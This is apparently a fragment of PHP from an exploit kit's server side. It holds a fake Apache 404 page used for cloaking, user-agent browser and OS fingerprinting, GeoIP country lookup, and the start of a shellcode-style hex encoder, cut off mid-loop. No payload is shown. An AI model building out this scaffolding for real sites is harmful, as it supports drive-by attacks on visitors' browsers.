$page404 = '
404 Not FoundNot Found
The requested was not found on this server.Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache';
function browser()
{
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $bv) or
eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $bv))
{
$browser = "Opera" . " " . $bv[2];
}
elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv))
{
$browser = "Konqueror" . " " . $bv[2];
}
elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv))
{
$browser = "Lynx" . " " . $bv[2];
}
elseif (eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv))
{
$browser = "Links" . " " . $bv[2];
}
elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv))
{
$browser = "IE" . " " . $bv[2];
}
elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $bv))
{
$browser = "Netscape" . " " . $bv[2];
}
elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv) or
eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv))
{
$browser = "Firefox" . " " . $bv[2];
}
elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv))
{
$browser = "Mozilla" . " " . $bv[2];
}
else
{
$browser = "Other";
}
return $browser;
}
function os()
{
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (strstr($user_agent, "Windows 95")) return "Windows 95";
elseif (strstr($user_agent, "Windows NT 4")) return "Windows NT 4";
elseif (strstr($user_agent, "Win 9x 4.9")) return "Windows ME";
elseif (strstr($user_agent, "Windows 98")) return "Windows 98";
elseif (strstr($user_agent, "Windows NT 5.0")) return "Windows 2000";
elseif (strstr($user_agent, "SV1")) return "Windows XP SP2";
elseif (strstr($user_agent, "Windows NT 5.1")) return "Windows XP SP1";
elseif (strstr($user_agent, "Windows NT 5.2")) return "Windows 2003";
elseif (strstr($user_agent, "Windows NT 6.0")) return "Windows Vista";
elseif (strstr($user_agent, "Linux")) return "Linux";
elseif (strstr($user_agent, "Mac OS")) return "Mac OS";
else return "Other";
}
include"cfg/geoip.php";
function detect_country($ip) {
$gi = geoip_open ("cfg/GeoIP.dat", GEOIP_STANDARD);
$country = geoip_country_code_by_addr ($gi, $ip);
if(empty($country)) $country = "--";
return $country;
}
function uEncode($s)
{
$res=strtoupper(bin2hex($s));
$g = round(strlen($res)/4);
if ($g != (strlen($res)/4)) { $res.="00"; }
$out = "";
for ($i=0; $i